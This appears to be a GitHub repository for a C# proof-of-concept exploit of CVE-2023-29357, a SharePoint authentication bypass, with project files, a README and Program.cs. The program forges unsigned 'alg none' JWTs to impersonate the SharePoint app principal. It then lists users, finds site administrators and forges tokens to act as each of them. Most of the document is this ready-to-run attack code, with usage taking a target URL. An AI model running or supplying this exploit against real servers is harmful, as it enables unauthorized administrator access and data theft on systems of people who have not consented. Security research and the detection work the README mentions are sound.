├── CVE-2023-29357.sln ├── CVE-2023-29357 ├── App.config ├── CVE-2023-29357.csproj ├── Program.cs ├── Properties │ └── AssemblyInfo.cs └── packages.config └── README.md /CVE-2023-29357.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.33026.149 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CVE-2023-29357", "CVE-2023-29357\CVE-2023-29357.csproj", "{F22D2DE0-606B-4D16-98D5-421F3F1BA8BC}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {F22D2DE0-606B-4D16-98D5-421F3F1BA8BC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {F22D2DE0-606B-4D16-98D5-421F3F1BA8BC}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {F22D2DE0-606B-4D16-98D5-421F3F1BA8BC}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {F22D2DE0-606B-4D16-98D5-421F3F1BA8BC}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {0474D8C3-8090-47C7-A43B-4C88C7C21949} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /CVE-2023-29357/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /CVE-2023-29357/CVE-2023-29357.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {F22D2DE0-606B-4D16-98D5-421F3F1BA8BC} 8 | Exe 9 | CVE_2023_29357 10 | CVE-2023-29357 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | 37 | ..\packages\Microsoft.Bcl.AsyncInterfaces.1.1.0\lib\net461\Microsoft.Bcl.AsyncInterfaces.dll 38 | 39 | 40 | ..\packages\Microsoft.IdentityModel.Abstractions.7.0.2\lib\net472\Microsoft.IdentityModel.Abstractions.dll 41 | 42 | 43 | ..\packages\Microsoft.IdentityModel.JsonWebTokens.7.0.2\lib\net472\Microsoft.IdentityModel.JsonWebTokens.dll 44 | 45 | 46 | ..\packages\Microsoft.IdentityModel.Logging.7.0.2\lib\net472\Microsoft.IdentityModel.Logging.dll 47 | 48 | 49 | ..\packages\Microsoft.IdentityModel.Tokens.7.0.2\lib\net472\Microsoft.IdentityModel.Tokens.dll 50 | 51 | 52 | ..\packages\Newtonsoft.Json.13.0.3\lib\net45\Newtonsoft.Json.dll 53 | 54 | 55 | 56 | ..\packages\System.Buffers.4.5.1\lib\net461\System.Buffers.dll 57 | 58 | 59 | 60 | ..\packages\System.IdentityModel.Tokens.Jwt.7.0.2\lib\net472\System.IdentityModel.Tokens.Jwt.dll 61 | 62 | 63 | ..\packages\System.Memory.4.5.5\lib\net461\System.Memory.dll 64 | 65 | 66 | 67 | ..\packages\System.Numerics.Vectors.4.5.0\lib\net46\System.Numerics.Vectors.dll 68 | 69 | 70 | ..\packages\System.Runtime.CompilerServices.Unsafe.4.7.1\lib\net461\System.Runtime.CompilerServices.Unsafe.dll 71 | 72 | 73 | ..\packages\System.Security.Claims.4.3.0\lib\net46\System.Security.Claims.dll 74 | True 75 | True 76 | 77 | 78 | ..\packages\System.Text.Encodings.Web.4.7.2\lib\net461\System.Text.Encodings.Web.dll 79 | 80 | 81 | ..\packages\System.Text.Json.4.7.2\lib\net461\System.Text.Json.dll 82 | 83 | 84 | ..\packages\System.Threading.Tasks.Extensions.4.5.4\lib\net461\System.Threading.Tasks.Extensions.dll 85 | 86 | 87 | ..\packages\System.ValueTuple.4.5.0\lib\net47\System.ValueTuple.dll 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | -------------------------------------------------------------------------------- /CVE-2023-29357/Program.cs: -------------------------------------------------------------------------------- 1 | // CVE-2023-29357 SharePoint Exploit by @LuemmelSec 2 | // Build with .Net Version 4.7.2 in Visual Studio 2017 as C# Console Application 3 | // References: 4 | // https://github.com/Chocapikk/CVE-2023-29357 5 | // https://testbnull.medium.com/p2o-vancouver-2023-v%C3%A0i-d%C3%B2ng-v%E1%BB%81-sharepoint-pre-auth-rce-chain-cve-2023-29357-cve-2023-24955-ed97dcab131e 6 | // Exploit steps 7 | // Fetch the Realm unauthenticated from /_api/web/siteusers 8 | // Forge a JWT with the Realm to authenticate as app@sharepoint User 9 | // Fetch all users from /_api/web/siteusers as app@sharepoint 10 | // Look for Users with SiteAdmin = True 11 | // Forge a JWT for all of them with their NameId and NameIdIssuer 12 | // Impersonate them and make a request to /_api/web/currentuser to proof impersonation 13 | 14 | using System; 15 | using System.IdentityModel.Tokens.Jwt; 16 | using System.Net.Http; 17 | using System.Text; 18 | using Newtonsoft.Json; 19 | using System.Xml.Linq; 20 | using System.Linq; 21 | 22 | class Program 23 | { 24 | static void Main(string[] args) 25 | { 26 | if (args.Length < 1) 27 | { 28 | Console.WriteLine("Usage: CVE-2023-29357.exe http(s)://yoursharepoint.lol [-v]"); 29 | return; 30 | } 31 | 32 | string url = args[0]; 33 | string apiUrl = url.TrimEnd('/') + "/_api/web/siteusers"; 34 | bool verbose = args.Length > 1 && args[1] == "-v"; 35 | 36 | using (var httpClient = new HttpClient()) 37 | { 38 | try 39 | { 40 | httpClient.DefaultRequestHeaders.Add("Authorization", $"Bearer"); 41 | 42 | HttpResponseMessage response = httpClient.GetAsync(apiUrl).Result; 43 | 44 | Console.WriteLine($"Response Status Code unauthenticated against /_api/web/siteusers to fetch the Realm should be Unauthorized: {response.StatusCode}"); 45 | 46 | if (verbose) 47 | { 48 | Console.WriteLine("Response Headers:"); 49 | foreach (var header in response.Headers) 50 | { 51 | Console.WriteLine($"{header.Key}: {string.Join(", ", header.Value)}"); 52 | } 53 | } 54 | 55 | if (response.Headers.TryGetValues("WWW-Authenticate", out var authHeaderValues)) 56 | { 57 | foreach (var authHeaderValue in authHeaderValues) 58 | { 59 | if (authHeaderValue.Contains("realm=")) 60 | { 61 | string realm = authHeaderValue.Split(new[] { "realm=\"" }, StringSplitOptions.None)[1].Split('"')[0]; 62 | if (!string.IsNullOrEmpty(realm)) 63 | { 64 | Console.ForegroundColor = ConsoleColor.Green; 65 | Console.WriteLine($"Realm found in response headers: {realm}"); 66 | Console.ResetColor(); 67 | } 68 | else 69 | { 70 | Console.ForegroundColor = ConsoleColor.Red; 71 | Console.WriteLine($"Realm NOT found in response headers!!!"); 72 | Console.ResetColor(); 73 | } 74 | 75 | // Generate JWT 76 | string jwtToken = GenerateJwt(realm); 77 | 78 | // Use JWT for the Authorization and X-PROOF_TOKEN headers 79 | httpClient.DefaultRequestHeaders.Remove("Authorization"); 80 | httpClient.DefaultRequestHeaders.Remove("X-PROOF_TOKEN"); 81 | httpClient.DefaultRequestHeaders.Add("Authorization", $"Bearer {jwtToken}"); 82 | httpClient.DefaultRequestHeaders.Add("X-PROOF_TOKEN", jwtToken); 83 | 84 | // Make a request with the JWT to /_api/web/currentuser 85 | response = httpClient.GetAsync(url.TrimEnd('/') + "/_api/web/currentuser").Result; 86 | 87 | Console.WriteLine($"Response Status Code with spoofed JWT against /_api/web/currentuser: {response.StatusCode}"); 88 | 89 | if (verbose) 90 | { 91 | Console.WriteLine("Response Headers with spoofed JWT against /_api/web/currentuser:"); 92 | foreach (var header in response.Headers) 93 | { 94 | Console.WriteLine($"{header.Key}: {string.Join(", ", header.Value)}"); 95 | } 96 | 97 | // Print the formatted response body 98 | var responseBody = FormatXml(response.Content.ReadAsStringAsync().Result); 99 | Console.WriteLine($"Response Body with spoofed JWT against /_api/web/currentuser: {responseBody}"); 100 | } 101 | 102 | // Now, make a request with the same JWTs to /_api/web/siteusers 103 | response = httpClient.GetAsync(url.TrimEnd('/') + "/_api/web/siteusers").Result; 104 | 105 | Console.WriteLine($"Response Status Code with spoofed JWT against /_api/web/siteusers: {response.StatusCode}"); 106 | 107 | if (verbose) 108 | { 109 | Console.WriteLine("Response Headers with spoofed JWT against /_api/web/siteusers:"); 110 | foreach (var header in response.Headers) 111 | { 112 | Console.WriteLine($"{header.Key}: {string.Join(", ", header.Value)}"); 113 | } 114 | 115 | // Print the formatted response body 116 | var responseBodySiteUsersVerbose = FormatXml(response.Content.ReadAsStringAsync().Result); 117 | Console.WriteLine($"Response Body with spoofed JWT against /_api/web/siteusers: {responseBodySiteUsersVerbose}"); 118 | 119 | } 120 | // Define namespaces 121 | XNamespace d = "http://schemas.microsoft.com/ado/2007/08/dataservices"; 122 | XNamespace m = "http://schemas.microsoft.com/ado/2007/08/dataservices/metadata"; 123 | 124 | // Parse the XML and find users with IsSiteAdmin=true 125 | var responseBodySiteUsers = FormatXml(response.Content.ReadAsStringAsync().Result); 126 | var xDoc = XDocument.Parse(responseBodySiteUsers); 127 | var isAdminUsers = xDoc.Descendants(m + "properties") 128 | .Where(e => e.Elements(d + "IsSiteAdmin").Any(el => el.Value == "true")) 129 | .Select(e => e.Parent) // Go up to the 'entry' element 130 | .ToList(); 131 | 132 | // Print the XML part of users with IsSiteAdmin=true 133 | foreach (var isAdminUser in isAdminUsers) 134 | { 135 | var loginName = isAdminUser.Element(m + "properties")?.Element(d + "LoginName")?.Value; 136 | var nameId = isAdminUser.Element(m + "properties")?.Element(d + "UserId")?.Element(d + "NameId")?.Value; 137 | var nameIdIssuer = isAdminUser.Element(m + "properties")?.Element(d + "UserId")?.Element(d + "NameIdIssuer")?.Value; 138 | 139 | // Check if loginName and nameId are not empty 140 | if (!string.IsNullOrEmpty(loginName) && !string.IsNullOrEmpty(nameId)) 141 | { 142 | Console.ForegroundColor = ConsoleColor.Green; 143 | Console.WriteLine("Site-Admin found"); 144 | Console.WriteLine($"LoginName: {loginName}"); 145 | Console.WriteLine($"NameId: {nameId}"); 146 | Console.WriteLine($"NameIdIssuer: {nameIdIssuer}"); 147 | 148 | // Generate JWT with specific nameId and nameIdIssuer 149 | string jwtToken_SiteAdmin = GenerateJwt(realm, nameId, nameIdIssuer); 150 | 151 | // Reset Request Headers and use the spoofed Admin JWT to authenticate 152 | httpClient.DefaultRequestHeaders.Remove("Authorization"); 153 | httpClient.DefaultRequestHeaders.Remove("X-PROOF_TOKEN"); 154 | httpClient.DefaultRequestHeaders.Add("Authorization", $"Bearer {jwtToken_SiteAdmin}"); 155 | httpClient.DefaultRequestHeaders.Add("X-PROOF_TOKEN", jwtToken_SiteAdmin); 156 | // Make a request with the new JWT to /_api/web/currentuser 157 | response = httpClient.GetAsync(url.TrimEnd('/') + "/_api/web/currentuser").Result; 158 | Console.ResetColor(); 159 | 160 | // Print the response status code against /_api/web/currentuser 161 | Console.WriteLine($"Response Status Code against /_api/web/currentuser as SiteAdmin: {response.StatusCode}"); 162 | 163 | // Parse the XML to get the LoginName 164 | var responseBodyCurrentUser_SiteAdmin = FormatXml(response.Content.ReadAsStringAsync().Result); 165 | var xDocCurrentUser = XDocument.Parse(responseBodyCurrentUser_SiteAdmin); 166 | var loginNameSiteAdmin = xDocCurrentUser.Descendants(m + "properties").FirstOrDefault()?.Element(d + "LoginName")?.Value; 167 | 168 | // Print the LoginName 169 | if (!string.IsNullOrEmpty(realm)) 170 | { 171 | Console.ForegroundColor = ConsoleColor.Green; 172 | Console.WriteLine($"Now running as SiteAdmin: {loginNameSiteAdmin}"); 173 | Console.ResetColor(); 174 | } 175 | else 176 | { 177 | Console.ForegroundColor = ConsoleColor.Red; 178 | Console.WriteLine($"Error. Could not parse the SiteAdmin User!"); 179 | Console.ResetColor(); 180 | } 181 | 182 | 183 | if (verbose) 184 | { 185 | Console.WriteLine("Response Headers against /_api/web/currentuser as SiteAdmin:"); 186 | foreach (var header in response.Headers) 187 | { 188 | Console.WriteLine($"{header.Key}: {string.Join(", ", header.Value)}"); 189 | } 190 | 191 | // Print the formatted response body 192 | var responseBodyCurrentUser = FormatXml(response.Content.ReadAsStringAsync().Result); 193 | Console.WriteLine($"Response Body against /_api/web/currentuser as SiteAdmin: {responseBodyCurrentUser}"); 194 | } 195 | 196 | // Reset color to default 197 | Console.ResetColor(); 198 | } 199 | else 200 | { 201 | Console.ForegroundColor = ConsoleColor.Red; 202 | Console.WriteLine("Sorry, no Site-Admin found!"); 203 | // Reset color to default 204 | Console.ResetColor(); 205 | } 206 | 207 | // Reset color to default 208 | Console.ResetColor(); 209 | } 210 | return; 211 | } 212 | } 213 | } 214 | 215 | Console.WriteLine("Realm not found in WWW-Authenticate header."); 216 | } 217 | catch (Exception ex) 218 | { 219 | Console.WriteLine($"Error: {ex.Message}"); 220 | } 221 | } 222 | } 223 | 224 | static string GenerateJwt(string realm) 225 | { 226 | // Set current time and expiration time 227 | DateTime now = DateTime.UtcNow; 228 | DateTime expirationTime = now.AddHours(1); 229 | 230 | // Create JWT payload 231 | var payload = new 232 | { 233 | aud = $"00000003-0000-0ff1-ce00-000000000000@{realm}", 234 | iss = "00000003-0000-0ff1-ce00-000000000000", 235 | nbf = (int)now.Subtract(new DateTime(1970, 1, 1)).TotalSeconds, 236 | exp = (int)expirationTime.Subtract(new DateTime(1970, 1, 1)).TotalSeconds, 237 | ver = "hashedprooftoken", 238 | nameid = $"00000003-0000-0ff1-ce00-000000000000@{realm}", 239 | //endpointurl parameter is calculated as base64_encode(sha256(request_url)). By just giving it "h" and set endpointurl Length = 1 this is valid and true for the SharePoint code. URL needs to be lowercase! 240 | //can use CyberChef with SHA256 / 64 rounds -> From Hex / Delimiter Auto -> To Base64 === https://gchq.github.io/CyberChef/#recipe=SHA2('256',64,160)From_Hex('Auto')To_Base64('A-Za-z0-9%2B/%3D')&input=aA 241 | endpointurl = "qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=", 242 | endpointurlLength = 1, 243 | isloopback = true, 244 | }; 245 | 246 | var handler = new JwtSecurityTokenHandler(); 247 | 248 | // Encode header and payload 249 | var encodedHeader = Convert.ToBase64String(Encoding.UTF8.GetBytes("{\"alg\":\"none\"}")).TrimEnd('='); 250 | var encodedPayload = Convert.ToBase64String(Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(payload))).TrimEnd('='); 251 | 252 | // Concatenate header and payload with a period 253 | var jwtToken = $"{encodedHeader}.{encodedPayload}.AAA"; 254 | 255 | return jwtToken; 256 | } 257 | 258 | static string GenerateJwt(string realm, string targetNameId, string targetNameIdIssuer) 259 | { 260 | // Set current time and expiration time 261 | DateTime now = DateTime.UtcNow; 262 | DateTime expirationTime = now.AddHours(1); 263 | 264 | // Create JWT payload 265 | var payload = new 266 | { 267 | aud = $"00000003-0000-0ff1-ce00-000000000000@{realm}", 268 | iss = "00000003-0000-0ff1-ce00-000000000000", 269 | nbf = (int)now.Subtract(new DateTime(1970, 1, 1)).TotalSeconds, 270 | exp = (int)expirationTime.Subtract(new DateTime(1970, 1, 1)).TotalSeconds, 271 | ver = "hashedprooftoken", 272 | nameid = targetNameId, 273 | endpointurl = "qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=", 274 | endpointurlLength = 1, 275 | isloopback = true, 276 | nii = targetNameIdIssuer, // Additional claim for NameIdIssuer 277 | isuser = "True" // Additional claim for isuser 278 | }; 279 | 280 | var handler = new JwtSecurityTokenHandler(); 281 | 282 | // Encode header and payload 283 | var encodedHeader = Convert.ToBase64String(Encoding.UTF8.GetBytes("{\"alg\":\"none\"}")).TrimEnd('='); 284 | var encodedPayload = Convert.ToBase64String(Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(payload))).TrimEnd('='); 285 | 286 | // Concatenate header and payload with a period 287 | var jwtToken = $"{encodedHeader}.{encodedPayload}.AAA"; 288 | 289 | return jwtToken; 290 | } 291 | 292 | // Helper method to format XML 293 | static string FormatXml(string xml) 294 | { 295 | var doc = XDocument.Parse(xml); 296 | return doc.ToString(); 297 | } 298 | } 299 | -------------------------------------------------------------------------------- /CVE-2023-29357/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("CVE-2023-29357")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("CVE-2023-29357")] 13 | [assembly: AssemblyCopyright("Copyright © 2023")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("f22d2de0-606b-4d16-98d5-421f3f1ba8bc")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /CVE-2023-29357/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Recreation of the SharePoint PoC for CVE-2023-29357 in C# with lots of help from ChatGPT. 2 | Build with .Net Version 4.7.2 in Visual Studio 2017 3 | Use NuGet Package manager to install any missing packages 4 | Yara rules for detection below 5 | 6 | Usage: 7 | ``` 8 | CVE-2023-29357.exe http(s)://yoursharepoint.lol [-v] 9 | ``` 10 | ![image](https://github.com/LuemmelSec/CVE-2023-29357/assets/58529760/eaa72166-7644-458c-8aeb-791d9e5fd205) 11 | 12 | Huge shoutout to: 13 | [Jang](https://twitter.com/testanull) for being very supportive with explainations on exploit steps and his huge writeup: 14 | https://testbnull.medium.com/p2o-vancouver-2023-v%C3%A0i-d%C3%B2ng-v%E1%BB%81-sharepoint-pre-auth-rce-chain-cve-2023-29357-cve-2023-24955-ed97dcab131e 15 | 16 | [WhiteKnight](https://twitter.com/Chocapikk_) for his support and the Python exploit: 17 | https://github.com/Chocapikk/CVE-2023-29357 18 | 19 | [Florian Roth](https://twitter.com/cyb3rops) for his immediate efforts to provide YARA rules to help you protect against the usage of the current exploits: 20 | https://twitter.com/cyb3rops/status/1707678149448700270 21 | https://github.com/Neo23x0/signature-base/blob/master/yara/expl_sharepoint_cve_2023_29357.yar 22 | --------------------------------------------------------------------------------